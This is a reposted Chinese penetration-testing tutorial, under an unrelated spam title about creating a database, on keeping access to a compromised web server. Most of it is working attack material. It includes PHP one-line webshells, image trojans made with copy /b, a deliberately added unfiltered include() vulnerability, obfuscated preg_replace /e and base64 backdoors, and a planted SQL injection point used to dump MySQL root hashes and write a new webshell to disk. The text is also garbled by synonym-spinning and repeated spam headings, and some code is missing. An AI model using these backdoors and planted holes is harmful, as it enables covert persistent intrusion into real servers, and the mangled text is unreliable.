老薛主机新建数据库(数据库新建一个数据库)

  关于权限维持,我之前写过一篇基于体系 端的后门技能 文章 ,如映像挟制 啊,lpk之类。固然 啦,在拿到权限后 ,在web端做手脚也是个好办法。

  内容目次

  - 构造文件包罗 弊端

  - 潜伏 性脚本木马

  - 构造sql注入点

  构造文件包罗 弊端

  本部分 概览

  * 根本 的文件包罗 姿势

  * 制作图片马

  * 构造文件包罗 弊端

  

  PHP文件包罗 弊端 先容

  起首 ,我们来先容 下作甚 文件包罗 弊端 。严格 来说,文件包罗 弊端 是`代码注入`的一种。其原理就是注入一段用户能控制的脚本或代码 ,并让服务端实行 。`代码注入`的典范 代表就是文件包罗 。文件包罗 弊端 大概 出如今 `JSP、PHP 、ASP`等语言中,原理都是一样的,本实行 以PHP文件包罗 弊端 做例子。

  要想乐成 利用 文件包罗 弊端 举行 攻击 ,必要 满意 以下两个条件:

  1. Web应用采取 include()等文件包罗 函数通过动态变量的方式引入必要 包罗 的文件;

  2. 用户可以或许 控制该动态变量。

  在PHP中,有四个用于包罗 文件的函数,当利用 这些函数包罗 文件时 ,文件中包罗 的PHP代码会被实行 。下面对 它们之间的区别举行 表明 :

  `include()`:当利用 该函数包罗 文件时,只有代码实行 到`include()`函数时才将文件包罗 进来,发生错误时只给出一个告诫 ,继承 向下实行 。

  `include_once()`:功能和`include()`雷同 ,区别在于当重复调用同一文件时,程序只调用一次。

  `require()`:`require()`与`include()`的区别在于`require()`实行 假如 发生错误,函数会输堕落 误信息 ,并停止 脚本的运行 。利用 `require()`函数包罗 文件时,只要程序一实行 ,立即 调用文件 ,而include()只有程序实行 到该函数时才调用。

  `require_once()`:它的功能与`require()`雷同 ,区别在于当重复调用同一文件时,程序只调用一次。

  步调 1 根本 的文件包罗 姿势

  以下全部 步调 创建 在已经取得目标 机权限的环境 下 。

  我们假设事先通过一系列的渗出 测试得到了目标 机的一句话webshell。

  假设我们事前得知 ,目标 服务器的一些脚本文件存在文件包罗 弊端 ,如:

  /clude.php?file=index.php

  其参数`file`没有作很好的过滤,可以包罗 恣意 文件。

  比如 ,我们在弊端 文件`clude.php`同目次 新建一个文件`getshell.php`,内容是PHP一句话木马:

  ?php @eval($_POST['pass']);?

  利用 中国菜刀进入文件管理功能并如下操纵 ,那么我们实行 通过`clude.php`包罗 脚本木马`getshell.php`:

  /clude.php?file=getshell.php

  点击`Enable Post data`调出POST数据栏,并POST以下数据:

  pass=system('set');

  此处转达 的变量是通过调用PHP的`system()`函数实行 `set`下令 来查察 当前体系 的环境 变量。

  固然 ,这里直接包罗 了一个木马文件,在我们已经有了webshell的环境 下,这好像 并没有很大意义 。潜伏 性并不是很强。

  步调 2 制作图片马

  PHP文件包罗 ,其包罗 的文件无论是什么格式,都会被当做PHP文件来分析 。

  那么,假如 恶意代码被插入到了一个正常的网页图片中 ,而且图片在被插入恶意代码之后还能正常表现 ,那潜伏 性就加强 了 。

  图片木马着实 尚有 另一点意义,有些网站我们在渗出 测试实行 上传shell的时间 ,会要用到上传文件,但是有的时间 都会有过滤,假如 只是上传`.asp .php`末了 的文件的话体系 是不会给你上传的 ,那么这个时间 我们通常会把一句话放在图片内里 ,写成`1.asp;.jpg或1.asp;jpg`的格式上传上去,如许 上传的时间 体系 检测是图片,然后在上传之后 ,会把这个文件当asp文件来处理 惩罚 。

  那么怎样 用制作图片情势 的一句话木马呢?

  起首 我们在工具目次 预备 了一个图片文件`1.png`,和一个一句话木马文件`hack.php`。

  预备 好之后就在该目次 开启下令 行,然后输入以下下令 :

  copy 1.png/b+hack.php test.png

  然后回车就体系 就会主动 把这两个文件组合起来并定名 为`test.png`:

  这个时间 我们打开两个文件对比一下 ,用记事本打开,发现`1.png`的内容当中已经把我们的`hack.php`的一句话木马语句已经加加到图片当中去了 。

  固然 了,最紧张 的是 ,被写入了一句话的图片还是 可以正常打开的,此为本步调 的目标 地点 :

  那么,在实际 渗出 测试实行 中 ,我们通常是通过下载网站原有的图片文件并更换 成一句话木马末了 通过更换 本来 的图片文件到达 肯定 的潜伏 结果 。

  那么我们试试该图片木马是否可用,先通过中国菜刀的文件上传功能把`test.png`上传到目标 机根目次 :

  那么我们实行 通过`clude.php`包罗 一句话图片木马`test.png`:

  /clude.php?file=test.png

  点击`Enable Post data`调出POST数据栏,并POST以下数据:

  pass=system('set');

  此处转达 的变量是通过调用PHP的`system()`函数实行 `set`下令 来查察 当前体系 的环境 变量。

  固然 ,这里还是 直接包罗 了一个木马文件,在我们已经有了webshell的环境 下,这好像 并没有很大意义 。潜伏 性并不是很强。

  步调 3 构造文件包罗 弊端

  那么假设我们拿到shell的服务器上的脚本文件都不存在文件包罗 弊端 就必要 我们本身 来构造弊端 了,以到达 权限维持的结果 。

  文件包罗 弊端 的脚本文件的构作育 比力 简单 了 ,直接写一个不带有任何过滤的利用 `include()`函数调用文件的PHP文件,文件代码及相干 的解释 如下:

  ?php

老薛主机新建数据库(数据库新建一个数据库) 老薛主机新建数据库(数据库新建一个数据库) 新闻资讯

  $filename=$_GET['filename']; //将参数file的值转达 给$filename变量include($filename); //利用 include()函数包罗 文件

  ?

  上述代码我们已经生存 在工具目次 的`include.php`,我们利用 中国菜刀的文件管理功能把`include.php`上传到目标 站根目次 :

  接下来我们在欣赏 器访问以下URL以包罗 图片木马`test.png`:

  此处的PNG文件被当做是PHP文件分析 ,于是直接表现 了图片乱码,我们在乱码末了 并没有发现我们的一句话木马陈迹 ,于是推断我们的一句话木马已经被分析 。

  接着我们点击`Enable Post data`调出POST数据栏 ,并POST以下数据:

  pass=system('net user');

  此处转达 的变量是通过调用PHP的`system()`函数实行 `set`下令 来查察 当前体系 的环境 变量。

  我们在图片乱码下面可以看到`net user`下令 的回显。

  至此,图片木马被乐成 摆设 并利用 。

  潜伏 性脚本木马

  本部分 概览:

  * 利用 `preg_replace`函数留后门

  * 利用 加密`preg_replace`函数

  * 变异加密型后门

  步调 1 利用 `preg_replace`函数留后门

  着实 我们可以通过如下代码实现了隐蔽 式后门:

  ?php @preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");?

  乍看到这个代码以为 没什么题目 ,这里用到的是php的`preg_replace`函数:

  - `preg_replace`函数原型:

  mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

  特别 阐明 :

  `/e`修正符使`preg_replace()`将`replacement`参数当作 PHP代码(在得当 的逆向引用更换 完之后) 。

  提示:要确保`replacement`构成一个合法 的 PHP 代码字符串,否则 PHP 会在陈诉 :在"包罗 `preg_replace()` 的行中出现语法分析 错误."上面的代码是POST吸取 数据 ,实现大概 不太直观,假如 换成GET获取数据的话可以更好地明白 :

  举例,代码如下:

  ?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?

  我们假设事先通过一系列的渗出 测试得到了目标 机的一句话webshell。

  在中国菜刀的文件管理页面右键 ,新建一个`test.php`,内容是上述的`get`方式提交的一句话:

  ?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?

  假如 我们提交`?h=phpinfo()`便是 通过传参实行 了PHP的`phpinfo()`函数。

  即在欣赏 器访问以下URL转达 必要 实行 的变量函数`phpinfo()`:

  /test.php?h=phpinfo();

  如上图可见`phpinfo()`将会被实行 (用`/e`修饰符,`preg_replace`会将`replacement`参数当作 PHP代码实行 ) 。

  在PHP中,双引号内里 假如 包罗 有变量 ,php表明 器会将其更换 为变量表明 后的结果 ,单引号中的变量不会被处理 惩罚 。

  **留意 :**双引号中的函数不会被实行 和更换 。

  步调 2 利用 加密`preg_replace`函数

  我们预备 了一个加密`preg_replace`函数的一个php后门文件:

  文件内容如下:

  上述代码末了 解密出来着实 还是 利用 `preg_replace`的`/e`来实行 的一句话webshell 。

  代码中的md5值`202cb962ac59075b964b07152d234b70`明文是`123`。

  我们先通过上个步调 中的一句话木马把`test1.php`上传到目标 机根目次 ,该木马的利用 方式是访问该文件并通过POST方式提交雷同 如下数据:

  pass=123check=phpinfo();

  那么我们在欣赏 器POST数据一样平常 是通过火 狐欣赏 器的hackbar插件 ,火狐欣赏 器的的Hackbar插件的POST数据栏默认是不开启的,我们必要 勾选上图红圈中的部分 已启动POST栏。

  启动POST栏之后,我们在`Post data`一栏输入以下数据来POST给服务器:

  pass=123check=phpinfo();

  上述POST的数据是实行 实行 `phpinfo()`函数:

  如上图可见 ,`phpinfo()`函数被乐成 实行 。

  固然 我们还能通过`system()`函数来实行 体系 下令 :

  如通过火 狐欣赏 器的Hackbar插件POST以下数据:

老薛主机新建数据库(数据库新建一个数据库) 老薛主机新建数据库(数据库新建一个数据库) 新闻资讯

  pass=123check=system('set')

  上述POST的数据中就是实行 了体系 下令 `set`查察 当前操纵 体系 环境 变量,如上图,我们乐成 取得了返回。

  步调 3 变异加密型后门

  我们这里预备 了一个PHP脚本后门 ,代码非常 奇葩,源代码如下:

  上述源码,光看看你是看不出什么端倪的。我们为了方便各人 看到上述代码到底做了些什么 ,对代码做了输出调试处理 惩罚 ,输出每个步调 的输出,并对代码做了一些具体 的表明 :

  做了调试的的源码我们定名 为`base1.php`:

  接着我们利用 中国菜刀把上述两个文件`base.php`和`base1.php`都上传到网站根目次 。

  好了之后我们访问已经做了调试的`base1.php`:

  ```

  https://172.16.12.2/base1.php

  ```

  如上图可见,php文件运行起来后输出结果 如下:

  上述代码文件我们是一步一步输出的 ,输出到末了 ,我们发现,天生 的竟然是经典的PHP版一句话木马文件代码:

  eval(_decode($_POST[‘z0’]))

  上述一句话木马文件中在POST数据外加了`_decode`函数 ,于是我们必要 对变量的提交做``加密处理 惩罚 。

  `base.php`上传之后具体 的URL地点 如下:

  我们在火狐欣赏 器访问该文件,并利用 Hackbar插件直接提交下面的数据是不可 的:

  ```

  z0=phpinfo();

  ```

  我们必要 把对`z0`变量的赋值举行 加密,加密后的数据情势 如下:

  ```

  z0=cGhwaW5mbygpOw==

  ```

  我们直接选中`z0=phpinfo();`中的`phpinfo();` ,然后点击`Encoding`-` Encoding`,云云 `phpinfo();`将会被加密:

  加密完成后,我们点击`Execute`提交:

  如上图 ,`phpinfo()`函数被乐成 实行 。

  那么我们也可以实行 实行 体系 下令 如`net user`:

  通例 来说,我们提交的是如下数据:

  ```

  z0=system('net user');

  ```

  在这里我们就必要 对变量的赋值`system('net user');`部分 举行 加密,选中POST栏的`phpinfo();` ,然后点击`Encoding`-` Encoding`,然后POST的数据变成 如下情势 :

  ```

  z0=c3lzdGVtKCd2ZXInKTs=

  ```

  加密完成后,我们点击`Execute`提交:

  如上图可见,`net user`下令 被乐成 实行 而且我们得到 了清楚 地返复书 息。

  构造sql注入点

  本部分 概览:

  * 构造注入点

  * 利用 构造的注入点

  本部分 以php脚本和MySQL数据库为例 ,演示在得到 目标 机权限之后,在目标 机上面构造一个注入弊端 方便我们后续潜伏 性维持权限的方法 。

  步调 1 构造注入点

  我们假设事先通过一系列的渗出 测试得到了目标 机的一句话webshell。

  打开中国菜刀工具添加一句话木马,留意 数据库设置 信息填写如下数据(事先得到 ):

  TMYSQL/T

  Hlocalhost/H

  Uroot/U

  root/P

  Nmysql/N

  利用 中国菜刀进入到目标 机的数据库管理功能:

  在中国菜刀的数据库管理功能页面实行 以下语句以创建一个新的数据库:

  ```

  create database sqlinject;

  ```

  然退却 出该数据库管理页面 ,在重新进入数据库管理页面就能看到新建的数据库`sqlinjec`了,我们双击该数据库名切换到该数据库:

  然后实行 以下语句在`sqlinject`数据库中创建 表和列:

  ```

  create table admin(id int auto_increment primary key,username varchar(32) not null,password varchar(32) not null);

  ```

  再实行 以下语句想表中的列写入字段值:

  ```

  insert into admin (username,password) values ('admin',md5('admin')),('safe',md5('12345')),('test',md5('test'));

  ```

  然后我们双击查察 `inject`数据库下各项,可以看到数据已经写入。

  接下来我们必要 构造脚本文件调用上述数据库 ,脚本文件内容如下:

  该文件上传完毕后,我们根据上述脚本内容推测,构造的sql注入点如下:

  /test.php?id=1

  步调 2 利用 构造的注入点

  根据我们之前讲的sql注入相干 知识 ,我们实行 通过构造以下语句读取数据库用户相干 信息:

  test.php?id=-1 union select concat(host,0x7c,user,0x7c,password),2,3 from mysql.user where host = 'localhost'#

  我们把参数从1改为-1是为了防止当前查询的返回结果 影响我们到时间 提取指定文本 。

  `concat()`函数把多个必要 查询的字段放在一起

  `0x7c`是`|`符号的16进制转码结果 ,有利于我们到时间 把字段区分开。

  我们得到以下具体 信息:

  localhost|root|*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

  云云 得知本地 主机`localhost`的`root`账户的暗码 hash是`*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B`。

  实际 渗出 测试中,我们可以通过`cmd5.com`的大型hash破解平台来破解暗码 ,我们这里通过线上破解得知,此hash对应的暗码 值为`root` 。这些信息可以用来后续的mysql提权。

  厥后 假设我们之前的一句话木马被管理员删除了,然而我们还是 可以利用 上述我们创建的sql注入点向服务器再写入一个脚本木马。

  然后我们实行 在这里写一个一句话webshell到服务器,一句话木马样本如下:

  ?php @eval($_POST['pass']);?

  我们在火狐欣赏 器的HackBar插件把上述一句话木马转换为16进制 ,目标 是克制 特别 字符的转义导致语句不能精确 实行 :

  如图,一句话木马加密后的结果 为:

  3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e

  然后在注入点构造以下语句把一句话导出到`c:/www/small.php`,我们在一句话木马的16进制字符前加了`0x`(此为16进制标识符):

  以上语句连续 实行 两次 ,假如 出现以下错误,即阐明 文件写入乐成 :

  Invalid Query:File 'c:/www/small.php' already exists//第二次写入提示文件已存在则阐明 文件写入乐成

  我们实行 利用 中国菜刀毗连 一句话木马,如下图操纵 :

  至此 ,我们乐成 够早了sql注入点并乐成 利用 其向目标 机写入了新的webshell 。

  分析与总结

  重要 学习了以下内容:

  - 潜伏 性脚本木马

  - 畸形目次 隐蔽 shell

  - 构造文件包罗 弊端

  - 构造sql注入点

  通过本实行 ,我们学习了几种比力 奇特 的潜伏 性的脚本木马的原理和利用 方式,目标 在于维持web端的权限。还学习了根本 的文件包罗 弊端 的利用 、图片木马的制作 ,以及怎样 构造文件包罗 弊端 以便我们后续维持web端权限、在目标 服务器web端构造sql注入点用以后续维持权限的方式。

  固然 ,web端权限维持技能 各种各样,不但 于此 ,只有你想不到,没有渗出 测试职员 做不到 。

  若涉及敏感操纵 ,请在法律答应 的范围内测试!

  作者:Binghe

  泉源 :i春秋

  链接:https://bbs.ichunqiu.com/thread-19144-1-1.html

炼石信息安全培训春季班开招

QQ:495066536

372806985

敬请连续 关注……